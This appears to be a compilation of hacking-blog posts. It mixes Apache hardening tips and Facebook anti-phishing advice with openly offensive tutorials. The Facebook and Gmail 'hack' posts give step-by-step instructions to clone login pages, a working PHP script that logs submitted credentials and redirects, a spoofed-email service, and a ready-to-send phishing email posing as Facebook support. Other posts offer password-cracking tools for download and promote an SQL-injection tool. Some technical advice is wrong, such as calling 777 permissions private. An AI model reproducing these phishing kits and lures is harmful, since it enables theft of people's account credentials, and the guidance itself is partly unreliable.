we are anonymous

How To Protect Apache Web Server From Hackers

2013-04-12T20:03:00.000-07:00

Apache is the most widely used web server over the internet on Linux machines. For better and reliable performance you need to protect your web server from hackers. Here i am going to write some steps which can help you in protecting your web server from hacker. “I am writing this article from some references and apache security tips.”

Steps to secure apache web server

1-Update you apache at regular interval
You should update your linux at a regular interval of time. If you have installed it from source, make sure that upgrade is not going to break any modules or dependencies your Web site has. And if you update Apache, make sure PHP (if used) is updated as well. New holes and security risks are found all the time. You have to ready for that.

2-Turn off unwanted services
There are a some apache services you don’t want to use. All of these services can be disabled or turnoff in the httpd.conf file. Some of these service are:

Directory browsing.
Server side Includes.
CGI execution.
Symbolic links.

3-Use the right user:group
One of the first things to ensure is that Apache does not run as root because if Apache is cracked then an attacker could get control of the root account. One of the biggest offenders is the root user. This can cause some serious issues. Or say both Apache and MySQL are run by the same user/group. If there is a hole in anyone, it can lead to an attack on the other. The best scenario is to make sure Apache is run as the user and group apache. To make this change, open the httpd.conf file and check the lines that read:
User Group
Change these entries to:
User apache Group apache
If you get any errors indicating the group or user do not exist, you’ll have to create them.

4-Disable unused modules
Apache has a ton of modules. To get an idea how many modules your installation is running, issue the command (as the root user) grep -n LoadModule httpd.conf from within your Apache configuration directory. This command will show you every module Apache is loading, along with the line number it falls on. To disable the modules you don’t need, simply comment them out with a single # character at the beginning of the module line.

5-Do not allow browsing outside the document root
Never allow browsing outside the document root. Unless you have a specific need to allow it. Disable this feature. First, you’ll need to edit the document root Directory entry like so:
Order Deny, Allow Deny from all Options None AllowOverride None
Now, if you need to add options to any directory within the document root, you will have to add a new Directory entry for each one.

6-Limit request size
Limit your request size because DDOS attack is always possible for allowing large request. The size of your limit request will depend upon your Web site’s traffic need. By default, LimitRequestBody is set to unlimited.

7-Immunize httpd.conf
Hide your httpd.conf file is one of the best security measures . If a person can’t see it, he can’t change it. To immunize the httpd.conf file, set the immutable bit with the following command:
chattr +i /path/to/httpd.conf
where /path/to/httpd.conf is the path to your Apache configuration file. Now it will be very difficult for anyone to make any changes to httpd.conf.

8-Restrict access
You can restrict access to your internal network by adding the following inside a directory tag in your httpd.conf file:
Order Deny, Allow Deny from all Allow from 192.168.1.0/16
where 192.168.1.0/16 is the configuration matching your internal network. As with all modifications to the httpd.conf file, make sure you restart Apache so the changes take effect.

9- Hide Apache’s version number
This is also one of some good defences. By hiding it, you keep hackers from knowing how to quickly hack your Web server. To hide Apache’s version number, add the following in your document root Directory tag:
ServerSignature Off ServerTokens Prod

Save your Facebook Account

2012-08-12T17:28:00.002-07:00

Are you among the people who when opens web-pages usually ends on facebook or a person who is facebook fan who can’t stay away from facebook. If answer to any of the above question is yes then surely you might be knowing your password might be under attack. Since facebook is one the biggest social networks reaching millions of people around globe and contains private profiles and information it has become a hardcore target for hackers. Reason, it reaches thousands of people so if a fraud is conducted millions can be fooled, next the profile can be used for social engineering attack against you or setup false accusations. From long time I found sites are discussing on how to hack facebook password, but here I want to tell you how to save your account from being hacked by someone. Since there are
several methods to hack your account we will discus one method one time with possible simple explanation and possible higher detail. So first type of attack that we’ll cover today is Phishing attack on facebook.

What is Phishing?

In this type of attack an attacker creates a site that resembles the site victim usually access to gain his user name/password and other confidential information. So the attack done by creating a replica of facebook page will be termed as Phishing attack against facebook.

How Attack Is Executed?

The attacker first visits facebook by typing “www.facebook.com”, then he clicks on file menu of his browser and saves complete web-page. Next he opens that we-page in text editor and searches for “action” and locates the following string,

action="https://login.facebook.com/login.php?login_attempt=1"

Now he replaces the action event by his own event to capture your password. Then he uploads this file on his own website and sends you link to this site by e-mail. When you click on link you get re-directed to attacker’s site and once you enter password you are caught.

How To Detect Phishing Attack?

Though browsers automatically detects attack site but needs reporting by someone and hence if the site isn’t reported before your visit there might be catch. So following instructions will help you detect attack site. Please note that no matter what happens and you sit in which country facebook URL will always look like this,

www.facebook.com

so if you find that the URL doesn’t really appear like this means the site is attack site don’t go ahead. Note status bar, nothing like “Redirect Service By”, “Redirected By”and “Redirected to” should appear in that. Look at following image,

The page does appears like facebook page but it is not, it is file saved on my desktop and I can edit it as per my need. One thing you might have noticed that though the page has been saved from facebook it doesn’t own facebook URL. Same does happens with all sites so if you don’t find URL which exactly matches

www.facebook.com

don’t enter your username and password.

Keep Your-Self Safe:

It is quite accepted fact that anyhow you’ll not really go to phished site and enter your login details, am I right? of course I am right. To execute attack the attacker will send you an e-mail with obfuscated link to his own site having look of facebook. Please note that facebook has never used obfuscated links nor they’ll use it in future. Its better to type facebook.com and enter details than clicking link, it’ll hardly take your time and if there’s notification you’ll find it on your home page then why to click an obfuscated link. Don’t let attackers phish you and happy Social Networking.

Save Your Facebook Account-2

2012-08-12T17:28:00.001-07:00

I hope you are back to know how you can save your facebook account from getting hacked. This time we will discus how you can protect your facebook accounts from password breaking tools. If you want to know about various facebook password hacking tools please read,

Facebook Vs Facebooz

Facebook Hacking Tools Compared

As a hacker you’ll find that there are many other tools that I have not compared in “Facebook Hacking Tools Compared”. The reason is quite simple I haven’t found them for download, following is list of tools I haven’t found yet,

Facebook Private Viewer 2.4

Facebook Private Viewer 2010

Captcha Killer

if you have them, send me I’ll surely review them for free within a week. Next every online facebook password hacking utility is just scam. They will ask you to do surveys for using tool then they will ask you to give some information and then they will give you a utility that is guaranteed not to work. They may even ask you for your facebook id and password and if you provide them with your id and password it means you are hacked.

If you have read previous posts on facebook you may have found that they all are just dictionary based attacking tools. So its better not to use a predictable password. The only defense against those tools is not using password which are guess-able. If you don’t know how to create and remember long and strong passwords this video tutorial may help you,

To keep yourself safe from software like “FacebookPasswordDecryptor” never use password safe utility of your browser, don’t save passwords in any browser related application.

The latest facebook hacking tools that I reviewed includes “Facebreak” and “Facebook Agent”. Facebreak failed to crack my facebook account password. Facebook Agent is not any facebook cracking utility it’s just a Trojan so be safe.

If you want to test those tools on your own account then download them from following link,

Download

These are only few from those tools which I have tested against my own account, others which you’ll not find in it were deleted during Anti-Virus scan, so sorry I can’t provide them anymore. Also note that hacking someone’s account is crime so better try those tools on your own account. Please feel free to ask, if you need any assistance using any of those tools.

Facebook Hacking Tools Compared

2012-08-12T17:28:00.000-07:00

I don’t know why but people really getting mad behind facebook cracking softwares. Most of those softwares that claim to break into facebook are just fake pieces of code. The day I posted “Facebook Vs Facebooz” it got so many hits that made me write this another part to facebook hacking tool. Here we will cover some other facebook hacking tools other than facebooz, if you want to read about facebooz please visit this article “Facebook Vs Facebooz”. Here we will compare some other tools than facebooz.

1. Hell And High Water Facebook Cracker:

It another dictionary based hacking tool just as Facebook Freezer or Facebooz. All you have to do is just load password list along with User Id and the software tries until it succeeds and if the victim had kept a strong password like this “m2Fw”9a1)) there’s no way this software can crack it with billions of attempts. Next thing is its damn slow, no doubt it works but your list doesn’t contain the word which is password after millions of attempts you will just scratch your hairs. Our verdict its its awesome if victim is fool and junk if you are fool.

2. F-Cracker Or Facebook Cracker:

I tried to download it from several different resources and every time when i opened it it got caught as mal-ware. I disabled my Anti-Virus and then tried once again it appeared and disappeared in fractions of seconds then I checked open ports using “netstat” command and I found its not any facebook cracker its just a malware to lure you. So next time when you see F-Cracker be sure its malware.

3.Facebook Password Decryptor

The thing that actually works is this software but you’ll need physical access to victim’s computer. This software tries to exploit inbuilt password safe of browser installed on victim’s computer to get password. Note that it works only if the password is stored in browser’s password safe or in any password management utility.

So at last what we can say that dictionary based attack may not work on everyone and the next one needs physical access on victim’s computer, by the way if you had got physical access why you need running a cracking software, better install key-loggers. As per my view is concerned currently no attack is better than shoulder surfing to facebook cracking. I hope these reviews solves your facebook cracking mystery. Your comments and criticism both are welcome thanks for visiting.

What Is Phishing

2012-08-12T17:27:00.002-07:00

Here in this post we will discus a little about what is phishing. Please note what we are covering here is just basics and not a phishing tutorial. In phishing attack, an attacker creates a fake login page of a legitimate website and lures victim to login using it. The site under attack is known as phished site and the fake login page used for capturing or stealing information is known as phished page. To perform phishing attack an attacker performs following steps,

First of all he gets a free web host and then selects a domain which somehow resembles the site he wants to phish. For example to hack Gmail password he/she may select domain like Gmial. Look carefully both words appear nearly similar when just overlooked and that is where an attacker makes a catch.

Next he opens the site he wants to phish and saves it on his/her desktop then he/she uploads those files to their own domain. The attacker then creates a web page with a sorry or error message to make victim believe site is temporarily down or under maintenance or he types following lines in php file and uploads it to his/her domain,

<?php

header ('Location: 'www.realdomainname.com');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

Where he/she replace red background URL by real URL of phished page. Then this file is also uploaded there so that victim should get redirected to original website to avoid detection of phishing attack.

Nearly all phishing attacks are conducted in same way. If you have been regular reader of my blog then you might know we have already covered how to hack facebook account using phishing. If you have read that post then you might have found that steps mentioned here matches to those steps that we used to create a phished page for facebook. For practice in future we will cover few more tutorials on phishing. Till then have a nice time, thanks for reading and keep visiting.

Facebook Vs Facebooz(face book hack)

2012-08-12T17:27:00.001-07:00

In year 2008 a tool was released for facebook hacking the tool is known as facebooz(also known as facebook freezer). A lot had been discussed whether the tool is really capable of hacking facebook passwords. Many think its just a joke that a tool can crack facebook passwords. So keeping unnecessary things behind lets try to find out why this works or if it not works they why. The tool is specially targeted to m.facebook.com, yes that’s the mobile version of facebook. By the way facebook claims that the vulnerability is patched but still the tool has been downloaded millions of times from its release that means the claim is just a false excuse. I created a fake facebook account with password “Monkey” and facebooz got no issues cracking it that means the tool works. Then i changed password to “M0n7e1” and the tool failed to guess it that means it failed to work. The thing which can depress you is its speed of operation, by the way it happens due to need of software needing re-authentication grabbing so you need patience.

The final say is that the tool works only on guess-able passwords which can be found on dictionary. So if you are the one who have used facebooz and haven’t found it useful then it might be the case the victim of whom you want to crack password have strong password, the password which can not be found in any dictionary. And for those whose password can be easily guessed are advised to change their passwords to something which can not be guessed easily. So either facebook will win or facebooz just depends on password strength of victim. So keep your passwords strong and be safe. If you don’t know how to create and remember strong passwords following is the tutorial that can help you.

How To Hack Facebook Account | Phishing

2012-08-12T17:27:00.000-07:00

In this tutorial we will discus how you can hack Facbook account password by phishing. Phishing is act of creating a replica of legitimate website for stealing passwords and credit card numbers etc. Here I will show you how you can create replica of facebook log-in page and then fool your victim to put his username and password in it so that you can get his account password
.

First of all open www.facebook.com in your web browser, from
“file” menu select “save as” and type “Facebook” in file name and select “web page complete” from save as menu. Once done you will have a file named “Facebook.html” and a folder named “Facebook_files”. Folder will have several files in it, let them as it is and open Facebook.html in notepad or word-pad. From edit menu select find, type action in it and locate following string.

action="https://www.facebook.com/login.php?login_attempt=1"

Now replace this string with

action= “mail.php”

Now open notepad type following code in it and create mail.php.

Code:

<?php

header ('Location: https://www.facebook.com/login.php?login_attempt=1 ');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

Now save it as mail.php and create an empty log.txt file. Now you'll need a free web hosting service that supports PHP. Go to http://www.100best-free-web-space.com/ and select service and plan that suits you. Now in root folder of your website createFacebook_files folder and upload all files in Facebook_files of your hard disk to it. Come back to root folder and upload Facebook.html, mail.php and log.txt in it. Change permission for log.txt that it can be seen by administrator only. Once done make Facebook.html your index page and make site live.

Now sign up with http://www.hoaxmail.co.uk/ it provides spoofed email service. Now create a message from support@facebook.com to your victim.

Sub: Invalid activity on your facebook account

Body:

Dear facebook user (victim's facebook user name),

Recently we saw some suspicious activity on your account, we suspect it as a malicious script. As a valuable user to us we understand this might be system error, if the activity is not generated by you then please log-in to your account by following link,

Failing to log-in within next 48 hours Facebook holds right to suspend your account for sake of privacy of you and others. By logging in you'll confirm it is system error and we will fix it in no time. Your inconvenience is regretted. Thank you.

support@facebook.com,

Facebook, Inc,

1601 S.California Ave

Palo Alto CA 94394

If your victim is not security focused, he/she will surely fall prey to it. And will log-in using phished site handing you his password in log.txt file. Pleas note that you must use that email id of victim which he/she uses to log in facebook. If you are in his/her friend list then click on information tab to know log-in email ID.

Countermeasure:

You must not reply any message from facebook may it be legitimate or not by clicking on any links that appear in mail box. Better whenever you receive any mail of this type report it to facebook.com by logging via typing www.facebook.com in your web browser.

Hack Gmail Account | Phishing

2012-08-12T17:26:00.000-07:00

In this following tutorial to phishing I‘ll demonstrate how to hack Gmail account password by phishing. Since we already covered how to hack Facebook account using phishing I consider this as second tutorial to phishing. First of all we will create a fake login page, to create it open www.gmail.com in your web browser, click on file then save as and selectfile name “Gmail” and save as type “Web page Complete”. After above process you’ll have a file named Gmail.htm and a folder named Gmail_files in folder in which you’ll save web page. Now open Gmail.htm in notepad, find for action word and locate following string,

action="https://www.google.com/accounts/ServiceLoginAuth"

Once located change action string by phish.php, so that above string should appear as following,

action="phish.php"

Now step number two is to create phish.php file. Open notepad and copy following code in it,

<?php

header ('Location: https://www.google.com/accounts/ServiceLoginAuth ');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

Save it as phish.php, now create an empty password log file log.txt. Now sign up for a free webhosting service which supports php from http://www.100best-free-web-space.com/. Now upload Gmail.htm file, php file, password log file and Gmail_files folder to that web host. Change permission of log.txt file to777 from settings so that no one else than you can see or edit it.

Now you have to vector this phished site to your victim to hack his/her password. We will cover vectoring phished pages and countermeasures to phishing after few more tutorials on phishing. Till then have a nice time, thanks for reading and keep visiting.

BEST OPERATING SYSTEM FOR HACKERS

2012-08-12T16:45:00.000-07:00

Today i will share with you which operating system i use for hacking activities. My favorite operating system is Backtrack Linux and Windows XP not because they are easier to use but because i love their vast functionality and features. But you can also give a try to Matriux Operating System and knoppix , Matriux OS is just awesome but its still under construction as designers are still working on it and patching it. Now lets discuss more about functionality of Backtrack operating system. I will not discuss more about windows XP because its so easy to understand that it needs no explanation.

Best Operating System : Backtrack Linux
BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking.
Regardless if you’re making BackTrack your primary operating system, booting from a Live DVD, or using your favourite thumb drive, BackTrack has been customized down to every package, kernel configuration, script and patch s
olely for the purpose of the penetration tester.
BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tool collection to-date.
Back Track is quite possibly the most comprehensive Linux distribution of security tools. Bothhackers and crackers can appreciate the features of this distribution. For black-hat hackers, it provides an easy access to software that facilitates exploitations for secured systems and other reverse engineering. For white-hatters, it is a penetration tester that finds holes in a security scheme. See, everybody wins!

Major Features of BackTrack Linux

BackTrack features the latest in security penetration software. The current Linux kernel is patched so that special driver installation is unnecessary for attacks. For example, an Atheros-based wireless networking adapter will no enter monitor mode or inject packets without the MadWiFi driver patch. With BackTrack, you don’t need to worry about that. It’s just plug-and-play ready-to-go!

What’s great is that this Linux distribution comes Live-on-CD. So, no installation is needed. However, what you experience BackTrack, you will realize that it is a must to download this operating system and install it on your Laptop. At the very least, download the VMWare Virtual Appliance for Backtrack. Make sure you also install the VMWare Tools for Linux as well. Many features will still work in VMWare mode.

Based on: Debian, Ubuntu

Origin: Switzerland

Architecture: i386

Desktop: Fluxbox, KDE

Category: Forensics, Rescue, Live Medium

Cost: Free

Hacking Tools:

BackTrack provides users with easy access to a comprehensive and large collection of security-related tools ranging from port scanners to password crackers. Support for Live CD and Live USB functionality allows users to boot BackTrack directly from portable media without requiring installation, though permanent installation to hard disk is also an option.
BackTrack includes many well known security tools including:
Metasploit integration
RFMON Injection capable wireless drivers
Kismet
Nmap
Ettercap
Wireshark (formerly known as Ethereal)
BeEF (Browser Exploitation Framework)
A large collection of exploits as well as more common place software such as browsers. BackTrack arranges tools into 11 categories:
Information Gathering
Network Mapping
Vulnerability Identification
Web Application Analysis
Radio Network Analysis (802.11, Bluetooth, Rfid)
Penetration (Exploit & Social Engineering Toolkit)
Privilege Escalation
Maintaining Access
Digital Forensics
Reverse Engineering
Voice Over IP

I hope you have liked this post about what should you look in operating system if you are hacker or want to be a hacker.

Thanks for reading..!!

do you wont to read more haker triks http://www.hxsandtrix.co.cc/

Havij SQL Injection

2012-08-05T02:32:00.000-07:00

Collection of SQL Injection Tools for website hacking.....

Havij SQL Injection

Havij is an automated SQL Injection tool that helps penetration testers to find and exploitSQL Injection vulnerabilities on a web page.The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.